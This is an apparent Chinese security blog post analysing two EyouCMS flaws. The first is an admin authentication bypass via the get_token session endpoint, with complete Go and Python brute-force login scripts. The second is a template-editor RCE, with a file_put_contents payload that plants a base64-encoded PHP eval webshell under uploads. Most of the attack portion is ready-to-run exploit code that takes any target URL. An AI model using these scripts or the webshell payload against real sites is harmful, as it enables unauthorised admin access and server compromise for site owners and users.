Eyoucms V1.5.X漏洞分析

鉴权漏洞-任意用户登录

影响版本

小于等于1.5.2版本

原理分析

首先在application/api/controller/Ajax.php直接获取Ajax请求

仅仅只是IS_AJAX变量是否为真,稍微变化一下就可以绕过
如果 requestedWith 为 null,则为同步请求。
如果 requestedWith 为 XMLHttpRequest 则为 Ajax 请求。

image

跟进一下token(),在core/library/think/Request.php里
image
在这里把Ajax传入值设置成为session,其中name的值是用户可控的

image

那么就可以通过更换name来不断的请求,来获取服务器缓存token

然后到application/admin/controller/Base.php看一下管理员的登录逻辑
image

使用session('?admin_id'): 检查当前会话中是否存在名为admin_id的会话变量,以确定管理员是否已经登录。
getTime() - intval(admin_login_expire) < web_login_expiretime: 计算当前时间与admin_login_expire之间的差值,并将其与web_login_expiretime进行比较,以确定管理员的登录是否在有效期。
如果session('?admin_id')为true且管理员登录仍然在有效期内,则执行以下操作:
session('admin_login_expire', getTime()): 更新会话中的admin_login_expire变量,以反映管理员的新登录时间戳。
调用check_priv()方法检查管理员菜单操作权限的函数。

intval(admin_login_expire)这里存在一个逻辑上的缺陷。

MD5的值是一个128位的二进制数,而计算机中使用的是补码表示法。当MD5值的前面几位是数字时,这些数字被解释为一个有符号整数。如果最高位是1,计算机会将其解释为负数,因此转换成整数时就会得到一个负数。

getTime()减去一个负数,结果肯定是True

再跟进一下check_priv(),这个一眼就看明白了,只要admin_info.role_id转换成整数大于等于0就行
image

测试

根据前面的代码只需要满足3个条件:

1.Admin_id 在存在
2.Admin_login_expire 的前12位是数字这样才能满足条件
3.Admin_info.Role_id 取整的值小于等于0

可以自个打开burp一个个条件的满足,这里我写了俩脚本,实测go爆破token会快一点

点击展开Goland爆破脚本
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"regexp"
	"strconv"
	"strings"
	"time"
)

const GetTokenURL = "/index.php?m=api&c=ajax&a=get_token&name="

// 定义初始Cookie
var savedCookies []*http.Cookie

// 获取 admin_id
func getAdminID(url string) {
	req, err := http.NewRequest("GET", url+GetTokenURL+"admin_id", nil)
	if err != nil {
		fmt.Println("创建请求失败:", err)
		return
	}
	req.Header.Set("x-requested-with", "xmlhttprequest")

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("请求发送失败:", err)
		return
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("读取响应失败:", err)
		return
	}

	fmt.Println("\033[91m[+]  获取 admin_id 成功 ->\033[0m", string(body))

	savedCookies = resp.Cookies()
}

// 获取 admin_login_expire
func getAdminLoginExpire(url string) {
	client := &http.Client{}
	for {
		req, err := http.NewRequest("GET", url+GetTokenURL+"admin_login_expire", nil)
		if err != nil {
			fmt.Println("创建请求失败:", err)
			return
		}
		req.Header.Set("x-requested-with", "xmlhttprequest")
		for _, cookie := range savedCookies {
			req.AddCookie(cookie)
		}

		resp, err := client.Do(req)
		if err != nil {
			fmt.Println("请求发送失败:", err)
			return
		}
		defer resp.Body.Close()

		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			fmt.Println("读取响应失败:", err)
			return
		}

		result := isNumericString(string(body)[:12])
		if result {
			fmt.Printf("\033[91m[+]  成功获取 admin_login_expire = %s\033[0m\n", string(body))
			break
		}

		fmt.Printf("[INFO] 正在爆破 admin_login_expire -> [%s]\n", string(body))
	}
}

// 检查字符串前12位是否均为数字
func isNumericString(s string) bool {
	if len(s) < 12 {
		return false
	}

	for i := 0; i < 12; i++ {
		if s[i] < '0' || s[i] > '9' {
			return false
		}
	}

	return true
}

// 获取 admin_info.role_id
func getAdminInfoRoleID(url string) {
	client := &http.Client{}
	for {
		req, _ := http.NewRequest("GET", url+GetTokenURL+"admin_info.role_id", nil)
		req.Header.Add("x-requested-with", "xmlhttprequest")
		for _, cookie := range savedCookies {
			req.AddCookie(cookie)
		}
		res, _ := client.Do(req)
		body, _ := ioutil.ReadAll(res.Body)

		result := extractIntegerFromString(string(body))

		number, _ := strconv.Atoi(result)
		if number <= 0 {
			fmt.Printf("\033[91m[+]  成功获取 admin_info.role_id = %s\033[0m\n", string(body))
			break
		}
		fmt.Printf("[INFO] 正在爆破 admin_info.role_id -> [%s]\n", string(body))
	}
}

// 从字符串中提取整数部分
func extractIntegerFromString(s string) string {
	re := regexp.MustCompile(`\d+`)
	return re.FindString(s)
}

// 使用保存的Cookie尝试登录
func checkLogin(url string) {
	client := &http.Client{}
	req, _ := http.NewRequest("GET", url+"/login.php?m=admin&c=System&a=web&lang=cn", nil)
	for _, cookie := range savedCookies {
		req.AddCookie(cookie)
	}
	res, _ := client.Do(req)
	body, _ := ioutil.ReadAll(res.Body)
	if strings.Contains(string(body), "网站LOGO") {
		fmt.Printf("[+]  -------------------------------------------------------------------\n[+]  登录成功!  \n")

		// 登录成功时,打印保存的Cookie值
		fmt.Println("[+]  使用的Cookie值: ")
		for _, cookie := range savedCookies {
			fmt.Printf("\033[92m[+]  Name: %s, Value: %s\033[0m\n", cookie.Name, cookie.Value)
		}
	} else {
		fmt.Printf("[+]  使用 Cookie -----> [%s] 登录失败!\n")
	}
}

func main() {
	fmt.Print("Enter the URL: ")
	var url string
	fmt.Scanln(&url)

	start := time.Now()
	getAdminID(url)
	getAdminLoginExpire(url)
	getAdminInfoRoleID(url)
	checkLogin(url)

	elapsed := time.Since(start)

	fmt.Printf("[+]  总共用时 %d 秒\n", int(elapsed.Seconds()))
}


image

点击展开python爆破脚本
import requests
import re
from time import time

# 定义 header 头, 绕过 isAjax检测
headers = {'x-requested-with': 'xmlhttprequest'}

def get_session(url):
    """
    获取 PHPSESSION
    """
    try:
        response = requests.get(url + '/index.php', headers=headers)
        response.raise_for_status()
        match = re.search("PHPSESSID=(.*?);", response.headers["set-cookie"])
        if match:
            php_session = match.group(1)
            print(f"[+] PHPSESSION = {php_session}")
            return php_session
    except (requests.exceptions.RequestException, KeyError) as e:
        print(f"Error: {e}")
        return None

def set_admin_id(url):
    """
    设置 admin_id 以绕过第一个条件
    """
    try:
        response = requests.get(url + '/index.php?m=api&c=ajax&a=get_token&name=admin_id', headers=headers)
        response.raise_for_status()
        result_text = response.text
        print(f"[+] 正在设置 admin_id -> [{result_text}]")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

def set_admin_login_expire(url):
    """
    设置 admin_login_expire 以绕过第二个条件
    """
    try:
        while True:
            response = requests.get(url + '/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire', headers=headers)
            response.raise_for_status()
            result = response.text
            if (time() - int(change(result), 10) < 3600):
                print(f"[+] admin_login_expire = {result}")
                break
            print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

def set_admin_info_role_id(url):
    """
    设置 admin_info.role_id 以绕过第三个条件
    """
    try:
        while True:
            response = requests.get(url + '/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id', headers=headers)
            response.raise_for_status()
            result = response.text
            if (int(change(result), 10) <= 0):
                print(f"[+] admin_login_expire = {result}")
                break
            print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

def check_login(url, php_session):
    """
    检查登录状态
    """
    try:
        response = requests.get(url + '/login.php?m=admin&c=System&a=web&lang=cn', cookies={"PHPSESSID": php_session})
        if "网站LOGO" in response.text:
            print(f"[+] 使用 PHPSESSION -> [{php_session}] 登录成功!")
        else:
            print(f"[+] 使用 PHPSESSION -> [{php_session}] 登录失败!")
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
    temp = ''
    for n, s in enumerate(string):
        if n == 0:
            if s.isalpha():
                return '0'
        if s.isdigit():
            temp += str(s)
        else:
            if s.isalpha():
                break
    return temp

def run(url):
    try:
        # 开始计时
        time_start = time()

        php_session = get_session(url)
        if php_session:
            set_admin_id(url)
            set_admin_login_expire(url)
            set_admin_info_role_id(url)
            check_login(url, php_session)

        # 结束计时
        time_end = time()

        print(f"[+] 总共用时 {int(time_end) - int(time_start)} 秒")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == '__main__':
    url = input("Enter the URL: ")
    run(url)

image

后台RCE-getshell

影响版本

小于1.5.5版本

原理

漏洞位置在application\admin\logic\FilemanagerLogic.php的editFile()函数
image

测试

在模板管理直接执行

<?=exec("whoami");

image

image

使用密码123456,直接利用file_put_contents()函数写入文件

把一句话先base64一遍:PD9waHAgZXZhbCgkX1BPU1RbJzEyMzQ1NiddKTs/Pg==

<?=file_put_contents("./uploads/ass.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJzEyMzQ1NiddKTs/Pg=="));

image

image

posted @ 2023-09-05 08:43  徐野子  阅读(1951)  评论(0编辑  收藏  举报